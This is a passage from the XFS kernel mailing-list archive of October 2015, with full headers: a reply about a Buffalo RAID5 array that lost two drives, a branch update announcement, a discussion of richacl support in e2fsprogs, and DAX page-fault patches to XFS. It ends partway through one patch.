X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1445209940 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23613 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 10/18/15 9:49 AM, Matteo Sarti wrote: > I have a buffalo terastation with both two failed drive on 4 drives of raid 5. > Problem is very simple hardware is ok, but someone goes wrong during normal process of this dataserver. I don't understand what that means - how can you have two failed drives, but hardware is ok? If you lost 2 drives out of a 3+1 RAID5, then you have essentially lost your filesystem, I'm sorry. > I check both driver on other PC with ufs explorer and drive is full of data, but xfs file system is not recognized. because the drives are part of a raid set, and they are not xfs filesystems on their own. https://en.wikipedia.org/wiki/Standard_RAID_levels#RAID_5 > How can I write manually on harddrive using raw data the beginning of xfs definition?? You can't. > I hope someone can help me because buffalo is very good in selling, but not so much in Support :(. If you lost 2 of your 4 drives, there's not much support to do, I'm afraid. -Eric From david@fromorbit.com Sun Oct 18 18:24:24 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C50497F55 for ; Sun, 18 Oct 2015 18:24:24 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id A1DD98F8033 for ; Sun, 18 Oct 2015 16:24:24 -0700 (PDT) X-ASG-Debug-ID: 1445210661-04cb6c3ceb8c940001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id YTaAGbPoLe8GbvgH for ; Sun, 18 Oct 2015 16:24:22 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2ADBwCeKSRW/2ieLHldgzYjMW+pAhIGiyKFHYYJFwKFfwSBFk0BAQEBAQGBC4UKOyQ0BSUDNIgvoBCjCwkZhheKcIIXDEMdgRQFklqDSYUZh3yOZY07Y4FKDIJBKjSFZwEBAQ Received: from ppp121-44-158-104.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.104]) by ipmail07.adl2.internode.on.net with ESMTP; 19 Oct 2015 09:53:56 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1ZnxIl-00081u-E8 for xfs@oss.sgi.com; Mon, 19 Oct 2015 10:23:43 +1100 Date: Mon, 19 Oct 2015 10:23:43 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [ANNOUNCE] xfs: for-next branch updated to fcd8a39 Message-ID: <20151018232343.GB27164@dastard> X-ASG-Orig-Subj: [ANNOUNCE] xfs: for-next branch updated to fcd8a39 MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="sHrvAb52M6C8blB9" Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1445210661 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23613 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- --sHrvAb52M6C8blB9 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Hi folks, The for-next branch of the xfs kernel repository at git://git.kernel.org/pub/scm/linux/kernel/git/dgc/linux-xfs.git has just been updated. The new head of the for-next branch is commit: fcd8a39 Merge branch 'xfs-stats-fixes' into for-next New Commits: Dan Carpenter (1): [f9d460b] xfs: fix an error code in xfs_fs_fill_super() Dave Chinner (2): [985ef4d] xfs: stats are no longer dependent on CONFIG_PROC_FS [fcd8a39] Merge branch 'xfs-stats-fixes' into for-next Code Diffstat: fs/xfs/Makefile | 2 +- fs/xfs/xfs_stats.c | 2 ++ fs/xfs/xfs_super.c | 2 +- 3 files changed, 4 insertions(+), 2 deletions(-) --=20 Dave Chinner david@fromorbit.com --sHrvAb52M6C8blB9 Content-Type: application/pgp-signature; name="signature.asc" Content-Description: Digital signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.12 (GNU/Linux) iQIcBAEBAgAGBQJWJCn+AAoJEK3oKUf0dfodmsAQALo9bwJL3wmCnE6NU8xI3Get levf9wTTgP5m/Pk88gTSO5XmybUHCh38uhOpalTcap8t6xcN9CsWvGcBvXTRn5Yx uBl0qE4hkjUGJQr7tSPkTDKidmFN+tJM+wgp8Q8zkoXeVYCZZVpsagf0nqpPnWMV PFbKRXQZujyUYDhGwKw0HuSou5nPxUf+2cqiUUxXBFFppEtF+BVMQg0XgDD5gey8 SugzGYL3gjdjYIiMV6jpVoRxfE01VjUXeFDaUdC+g2pPDh6mdBBACbrNRZoVvvJI LipB2D/UWiFPMDs/UyvhC4exuWUqsYi4jIebfL1Fir0LGsQK4AP6H0jZrHLX6zTt c5RyXQK4SW5ePHcu98Xw4qbsZ3jtnnC4HNRuHTHkEng/+8mUa+eH5QNmsZbiDfMp GtUlfLe66AzUBVCIZuwz5+L+xUjte1Vvahv/QRnxGY6lODm8mrDD0CckZ4wOwmQr mztY40Bafp/VD+3PCVmAsiGvceO6j7omJP2ii742nsS/GIKPTtTOs18CF+IfWAs9 RVIMPdozPeF7VAGDyfSvCJ27bBOtoCpbiKQlz8RRkx28G2V0MFLTVLAWhluHpytx weOYXyDKWAG+NfsLyN7CipAHrJhgzBPucS61wqr4+ToPJ+cLZq0/YaGQdhGuZJp7 tlvF6bXxPiJ2rl//o4fE =V8dt -----END PGP SIGNATURE----- --sHrvAb52M6C8blB9-- From tytso@thunk.org Sun Oct 18 19:17:12 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 087C87F58 for ; Sun, 18 Oct 2015 19:17:12 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id DC9D9304032 for ; Sun, 18 Oct 2015 17:17:08 -0700 (PDT) X-ASG-Debug-ID: 1445213826-04cbb035a99a930001-NocioJ Received: from imap.thunk.org (imap.thunk.org [74.207.234.97]) by cuda.sgi.com with ESMTP id rDQTcqbGB86f4RiX (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Sun, 18 Oct 2015 17:17:07 -0700 (PDT) X-Barracuda-Envelope-From: tytso@thunk.org X-Barracuda-Apparent-Source-IP: 74.207.234.97 DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=thunk.org; s=ef5046eb; h=In-Reply-To:Content-Type:MIME-Version:References:Message-ID:Subject:Cc:To:From:Date; bh=8NQGpV1oMZ1ita/QuJUq0s9VuW6kqfIsu8YUb9r90ZM=; b=YIjCNViJWz16Y9QT7yLPHdCxvINnIwDVjnnYN4GUlbSYYxevlEnqjHsetjEAqQtKPR1UtaN7Z/UZT/O3o+hqKbyOXYPyy082yWx7Cr1IbpfXGGTRIPsFFysAD2lFIB6Qt+CvjpW6ZkYWFU34YfpIR1HfNSvOSC8Jb27T0/uhg2U=; Received: from root (helo=closure.thunk.org) by imap.thunk.org with local-esmtp (Exim 4.84) (envelope-from ) id 1Zny8P-0007Tf-Ce; Mon, 19 Oct 2015 00:17:05 +0000 Received: by closure.thunk.org (Postfix, from userid 15806) id 96C4A82B8A5; Sun, 18 Oct 2015 20:17:04 -0400 (EDT) Date: Sun, 18 Oct 2015 20:17:04 -0400 From: Theodore Ts'o To: Andreas Gruenbacher Cc: Dave Chinner , linux-ext4 , xfs@oss.sgi.com Subject: Re: e2fsprogs: Richacl support Message-ID: <20151019001704.GQ2678@thunk.org> X-ASG-Orig-Subj: Re: e2fsprogs: Richacl support References: <20151016231615.GF15011@thunk.org> <20151017143951.GA2678@thunk.org> <20151017225910.GT27164@dastard> <20151018003532.GD2678@thunk.org> <20151018214456.GM2678@thunk.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.24 (2015-08-30) X-SA-Exim-Connect-IP: X-SA-Exim-Mail-From: tytso@thunk.org X-SA-Exim-Scanned: No (on imap.thunk.org); SAEximRunCond expanded to false X-Barracuda-Connect: imap.thunk.org[74.207.234.97] X-Barracuda-Start-Time: 1445213826 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23614 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Mon, Oct 19, 2015 at 12:46:49AM +0200, Andreas Gruenbacher wrote: > The filesystem sets the MS_POSIXACL super-block flag for POSIX ACLs or > the MS_RICHACL super-block flag for richacls. These flags are checked > with the IS_POSIXACL(inode) and IS_RICHACL(inode) macros. Ah, OK. So it's either one thing or another. > I can send the validation code; not sure how removing corrupt xattrs > would fit into e2fsck though. Can e2fsck remove individual xattrs? Yep. Using the libext2fs function ext2fs_xattr_remove(), in lib/ext2fs/ext_attr.c. This requires the development branch of e2fsprogs, but by adding a new feature flag, richacl is going to require a 1.43 version of e2fsprogs (not yet released, but hopefully will be released soon). - Ted From dave@fromorbit.com Sun Oct 18 22:27:40 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 42F6A7F37 for ; Sun, 18 Oct 2015 22:27:40 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 9C3C0AC001 for ; Sun, 18 Oct 2015 20:27:39 -0700 (PDT) X-ASG-Debug-ID: 1445225254-04cbb035ab9e5f0003-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id YGpMpUX7zsTJBp27 for ; Sun, 18 Oct 2015 20:27:37 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2B6BgAlYiRW/2ieLHlegzaBQ6kUBpA/jCeBIE0BAQEBAQGBC4QuAQUnLxESEAgYMTkDGxmIL8M/hjCKRymEFwWWI451h2CFaYx3Y4FKAYJMKjSFZwEBAQ Received: from ppp121-44-158-104.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.104]) by ipmail07.adl2.internode.on.net with ESMTP; 19 Oct 2015 13:57:33 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1Zo16W-0008Mv-Ir; Mon, 19 Oct 2015 14:27:20 +1100 Received: from dave by disappointment with local (Exim 4.86) (envelope-from ) id 1Zo16W-00086w-Ht; Mon, 19 Oct 2015 14:27:20 +1100 From: Dave Chinner To: xfs@oss.sgi.com Cc: ross.zwisler@linux.intel.com, jack@suse.cz Subject: [PATCH 6/6] xfs: xfs_filemap_pmd_fault treats read faults as write faults Date: Mon, 19 Oct 2015 14:27:18 +1100 X-ASG-Orig-Subj: [PATCH 6/6] xfs: xfs_filemap_pmd_fault treats read faults as write faults Message-Id: <1445225238-30413-7-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 2.5.0 In-Reply-To: <1445225238-30413-1-git-send-email-david@fromorbit.com> References: <1445225238-30413-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1445225257 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23617 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The code initially committed didn't have the same checks for write faults as the dax_pmd_fault code and hence treats all faults as write faults. We can get read faults through this path because they is no pmd_mkwrite path for write faults similar to the normal page fault path. Hence we need to ensure that we only do c/mtime updates on write faults, and freeze protection is unnecessary for read faults. Signed-off-by: Dave Chinner --- fs/xfs/xfs_file.c | 20 ++++++++++++++++---- 1 file changed, 16 insertions(+), 4 deletions(-) diff --git a/fs/xfs/xfs_file.c b/fs/xfs/xfs_file.c index e7cf9ec..0045b0a 100644 --- a/fs/xfs/xfs_file.c +++ b/fs/xfs/xfs_file.c @@ -1482,7 +1482,7 @@ xfs_file_llseek( * * mmap_sem (MM) * sb_start_pagefault(vfs, freeze) - * i_mmap_lock (XFS - truncate serialisation) + * i_mmaplock (XFS - truncate serialisation) * page_lock (MM) * i_lock (XFS - extent map serialisation) */ @@ -1550,6 +1550,13 @@ xfs_filemap_fault( return ret; } +/* + * Similar to xfs_filemap_fault(), the DAX fault path can call into here on + * both read and write faults. Hence we need to handle both cases. There is no + * ->pmd_mkwrite callout for huge pages, so we have a single function here to + * handle both cases here. @flags carries the information on the type of fault + * occuring. + */ STATIC int xfs_filemap_pmd_fault( struct vm_area_struct *vma, @@ -1566,13 +1573,18 @@ xfs_filemap_pmd_fault( trace_xfs_filemap_pmd_fault(ip); - sb_start_pagefault(inode->i_sb); - file_update_time(vma->vm_file); + if (flags & FAULT_FLAG_WRITE) { + sb_start_pagefault(inode->i_sb); + file_update_time(vma->vm_file); + } + xfs_ilock(XFS_I(inode), XFS_MMAPLOCK_SHARED); ret = __dax_pmd_fault(vma, addr, pmd, flags, xfs_get_blocks_dax_fault, NULL); xfs_iunlock(XFS_I(inode), XFS_MMAPLOCK_SHARED); - sb_end_pagefault(inode->i_sb); + + if (flags & FAULT_FLAG_WRITE) + sb_end_pagefault(inode->i_sb); return ret; } -- 2.5.0 From dave@fromorbit.com Sun Oct 18 22:27:41 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 377D97F47 for ; Sun, 18 Oct 2015 22:27:41 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 9EE85AC002 for ; Sun, 18 Oct 2015 20:27:40 -0700 (PDT) X-ASG-Debug-ID: 1445225258-04cbb035a99e5f0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id NjroiSe10A94e2EZ for ; Sun, 18 Oct 2015 20:27:38 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2B5BgAlYiRW/2ieLHlegzaBQ6kUBpA/jCeBIE0BAQEBAQGBC4QuAQUnLyMQCBgxOQMbGYgvwz+GMIpHhEAFhz6OZY51kXeISWOBSgFGHYFpKjSFZwEBAQ Received: from ppp121-44-158-104.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.104]) by ipmail07.adl2.internode.on.net with ESMTP; 19 Oct 2015 13:57:33 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1Zo16W-0008Mt-Hr; Mon, 19 Oct 2015 14:27:20 +1100 Received: from dave by disappointment with local (Exim 4.86) (envelope-from ) id 1Zo16W-00086m-Gv; Mon, 19 Oct 2015 14:27:20 +1100 From: Dave Chinner To: xfs@oss.sgi.com Cc: ross.zwisler@linux.intel.com, jack@suse.cz Subject: [PATCH 4/6] xfs: DAX does not use IO completion callbacks Date: Mon, 19 Oct 2015 14:27:16 +1100 X-ASG-Orig-Subj: [PATCH 4/6] xfs: DAX does not use IO completion callbacks Message-Id: <1445225238-30413-5-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 2.5.0 In-Reply-To: <1445225238-30413-1-git-send-email-david@fromorbit.com> References: <1445225238-30413-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1445225258 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23617 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner For DAX, we are now doing block zeroing and we are updating the file size during allocation. This means we no longer need an IO completion callback to do these things, so remove the completion callbacks from the __dax_fault and __dax_mkwrite calls. Signed-off-by: Dave Chinner --- fs/xfs/xfs_aops.c | 39 --------------------------------------- fs/xfs/xfs_aops.h | 1 - fs/xfs/xfs_file.c | 5 ++--- 3 files changed, 2 insertions(+), 43 deletions(-) diff --git a/fs/xfs/xfs_aops.c b/fs/xfs/xfs_aops.c index 7b4f849..29e7e5d 100644 --- a/fs/xfs/xfs_aops.c +++ b/fs/xfs/xfs_aops.c @@ -1666,45 +1666,6 @@ xfs_end_io_direct_write( __xfs_end_io_direct_write(inode, ioend, offset, size); } -/* - * For DAX we need a mapping buffer callback for unwritten extent conversion - * when page faults allocate blocks and then zero them. Note that in this - * case the mapping indicated by the ioend may extend beyond EOF. We most - * definitely do not want to extend EOF here, so we trim back the ioend size to - * EOF. - */ -#ifdef CONFIG_FS_DAX -void -xfs_end_io_dax_write( - struct buffer_head *bh, - int uptodate) -{ - struct xfs_ioend *ioend = bh->b_private; - struct inode *inode = ioend->io_inode; - ssize_t size = ioend->io_size; - - ASSERT(IS_DAX(ioend->io_inode)); - - /* if there was an error zeroing, then don't convert it */ - if (!uptodate) - ioend->io_error = -EIO; - - /* - * Trim update to EOF, so we don't extend EOF during unwritten extent - * conversion of partial EOF blocks. - */ - spin_lock(&XFS_I(inode)->i_flags_lock); - if (ioend->io_offset + size > i_size_read(inode)) - size = i_size_read(inode) - ioend->io_offset; - spin_unlock(&XFS_I(inode)->i_flags_lock); - - __xfs_end_io_direct_write(inode, ioend, ioend->io_offset, size); - -} -#else -void xfs_end_io_dax_write(struct buffer_head *bh, int uptodate) { } -#endif - static inline ssize_t xfs_vm_do_dio( struct inode *inode, diff --git a/fs/xfs/xfs_aops.h b/fs/xfs/xfs_aops.h index d39ba25..f6ffc9a 100644 --- a/fs/xfs/xfs_aops.h +++ b/fs/xfs/xfs_aops.h @@ -60,7 +60,6 @@ int xfs_get_blocks_direct(struct inode *inode, sector_t offset, struct buffer_head *map_bh, int create); int xfs_get_blocks_dax_fault(struct inode *inode, sector_t offset, struct buffer_head *map_bh, int create); -void xfs_end_io_dax_write(struct buffer_head *bh, int uptodate); extern void xfs_count_page_state(struct page *, int *, int *); diff --git a/fs/xfs/xfs_file.c b/fs/xfs/xfs_file.c index 7f873bc..403151a 100644 --- a/fs/xfs/xfs_file.c +++ b/fs/xfs/xfs_file.c @@ -1508,8 +1508,7 @@ xfs_filemap_page_mkwrite( xfs_ilock(XFS_I(inode), XFS_MMAPLOCK_SHARED); if (IS_DAX(inode)) { - ret = __dax_mkwrite(vma, vmf, xfs_get_blocks_dax_fault, - xfs_end_io_dax_write); + ret = __dax_mkwrite(vma, vmf, xfs_get_blocks_dax_fault, NULL); } else { ret = __block_page_mkwrite(vma, vmf, xfs_get_blocks); ret = block_page_mkwrite_return(ret); @@ -1571,7 +1570,7 @@ xfs_filemap_pmd_fault( file_update_time(vma->vm_file); xfs_ilock(XFS_I(inode), XFS_MMAPLOCK_SHARED); ret = __dax_pmd_fault(vma, addr, pmd, flags, xfs_get_blocks_dax_fault, - xfs_end_io_dax_write); + NULL); xfs_iunlock(XFS_I(inode), XFS_MMAPLOCK_SHARED); sb_end_pagefault(inode->i_sb); -- 2.5.0 From dave@fromorbit.com Sun Oct 18 22:27:42 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A3A607F50 for ; Sun, 18 Oct 2015 22:27:41 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 06E6FAC003 for ; Sun, 18 Oct 2015 20:27:40 -0700 (PDT) X-ASG-Debug-ID: 1445225256-04cbb035aa9e5f0002-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id c3uXxJyzWMrHU0tZ for ; Sun, 18 Oct 2015 20:27:38 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2B5BgAlYiRW/2ieLHlegzaBQ6kUBpA/jCeBIE0BAQEBAQGBC4QuAQUnLyMQCBgxOQMbGYgvwz+GMIpHhEAFliOOdYdgkmBjgUoBgkwqNIVnAQEB Received: from ppp121-44-158-104.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.104]) by ipmail07.adl2.internode.on.net with ESMTP; 19 Oct 2015 13:57:33 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1Zo16W-0008Ms-HX; Mon, 19 Oct 2015 14:27:20 +1100 Received: from dave by disappointment with local (Exim 4.86) (envelope-from ) id 1Zo16W-00086h-GT; Mon, 19 Oct 2015 14:27:20 +1100 From: Dave Chinner To: xfs@oss.sgi.com Cc: ross.zwisler@linux.intel.com, jack@suse.cz Subject: [PATCH 3/6] xfs: Don't use unwritten extents for DAX Date: Mon, 19 Oct 2015 14:27:15 +1100 X-ASG-Orig-Subj: [PATCH 3/6] xfs: Don't use unwritten extents for DAX Message-Id: <1445225238-30413-4-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 2.5.0 In-Reply-To: <1445225238-30413-1-git-send-email-david@fromorbit.com> References: <1445225238-30413-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1445225258 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23617 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner DAX has a page fault serialisation problem with block allocation. Because it allows concurrent page faults and does not have a page lock to serialise faults to the same page, it can get two concurrent faults to the page that race. When two read faults race, this isn't a huge problem as the data underlying the page is not changing and so "detect and drop" works just fine. The issues are to do with write faults. When two write faults occur, we serialise block allocation in get_blocks() so only one faul will allocate the extent. It will, however, be marked as an unwritten extent, and that is where the problem lies - the DAX fault code cannot differentiate between a block that was just allocated and a block that was preallocated and needs zeroing. The result is that both write faults end up zeroing the block and attempting to convert it back to written. The problem is that the first fault can zero and convert before the second fault starts zeroing, resulting in the zeroing for the second fault overwriting the data that the first fault wrote with zeros. The second fault then attempts to convert the unwritten extent, which is then a no-op because it's already written. Data loss occurs as a result of this race. Because there is no sane locking construct in the page fault code that we can use for serialisation across the page faults, we need to ensure block allocation and zeroing occurs atomically in the filesystem. This means we can still take concurrent page faults and the only time they will serialise is in the filesystem mapping/allocation callback. The page fault code will always see written, initialised extents, so we will be able to remove the unwritten extent handling from the DAX code when all filesystems are converted. Signed-off-by: Dave Chinner --- fs/dax.c | 5 +++++ fs/xfs/xfs_aops.c | 13 +++++++++---- fs/xfs/xfs_iomap.c | 21 ++++++++++++++++++++- 3 files changed, 34 insertions(+), 5 deletions(-) diff --git a/fs/dax.c b/fs/dax.c index bcfb14b..571c631 100644 --- a/fs/dax.c +++ b/fs/dax.c @@ -29,6 +29,11 @@ #include #include +/* + * dax_clear_blocks() is called from within transaction context from XFS, + * and hence this means the stack from this point must follow GFP_NOFS + * semantics for all operations. + */ int dax_clear_blocks(struct inode *inode, sector_t block, long size) { struct block_device *bdev = inode->i_sb->s_bdev; diff --git a/fs/xfs/xfs_aops.c b/fs/xfs/xfs_aops.c index 366e41eb..7b4f849 100644 --- a/fs/xfs/xfs_aops.c +++ b/fs/xfs/xfs_aops.c @@ -1293,15 +1293,12 @@ xfs_map_direct( trace_xfs_gbmap_direct(XFS_I(inode), offset, size, type, imap); - /* XXX: preparation for removing unwritten extents in DAX */ -#if 0 if (dax_fault) { ASSERT(type == XFS_IO_OVERWRITE); trace_xfs_gbmap_direct_none(XFS_I(inode), offset, size, type, imap); return; } -#endif if (bh_result->b_private) { ioend = bh_result->b_private; @@ -1429,10 +1426,12 @@ __xfs_get_blocks( if (error) goto out_unlock; + /* for DAX, we convert unwritten extents directly */ if (create && (!nimaps || (imap.br_startblock == HOLESTARTBLOCK || - imap.br_startblock == DELAYSTARTBLOCK))) { + imap.br_startblock == DELAYSTARTBLOCK) || + (IS_DAX(inode) && ISUNWRITTEN(&imap)))) { if (direct || xfs_get_extsz_hint(ip)) { /* * xfs_iomap_write_direct() expects the shared lock. It @@ -1477,6 +1476,12 @@ __xfs_get_blocks( goto out_unlock; } + if (IS_DAX(inode) && create) { + ASSERT(!ISUNWRITTEN(&imap)); + /* zeroing is not needed at a higher layer */ + new = 0; + } + /* trim mapping down to size requested */ if (direct || size > (1 << inode->i_blkbits)) xfs_map_trim_size(inode, iblock, bh_result, diff --git a/fs/xfs/xfs_iomap.c b/fs/xfs/xfs_iomap.c index c3cb5a5..f4f5b43 100644 --- a/fs/xfs/xfs_iomap.c +++ b/fs/xfs/xfs_iomap.c @@ -132,6 +132,7 @@ xfs_iomap_write_direct( int committed; int error; int lockmode; + int bmapi_flags = XFS_BMAPI_PREALLOC; rt = XFS_IS_REALTIME_INODE(ip); extsz = xfs_get_extsz_hint(ip); @@ -195,6 +196,23 @@ xfs_iomap_write_direct( * Allocate and setup the transaction */ tp = xfs_trans_alloc(mp, XFS_TRANS_DIOSTRAT); + + /* + * For DAX, we do not allocate unwritten extents, but instead we zero + * the block before we commit the transaction. Ideally we'd like to do + * this outside the transaction context, but if we commit and then crash + * we may not have zeroed the blocks and this will be exposed on + * recovery of the allocation. Hence we must zero before commit. + * Further, if we are mapping unwritten extents here, we need to zero + * and convert them to written so that we don't need an unwritten extent + * callback for DAX. This also means that we need to be able to dip into + * the reserve block pool if there is no space left but we need to do + * unwritten extent conversion. + */ + if (IS_DAX(VFS_I(ip))) { + bmapi_flags = XFS_BMAPI_CONVERT | 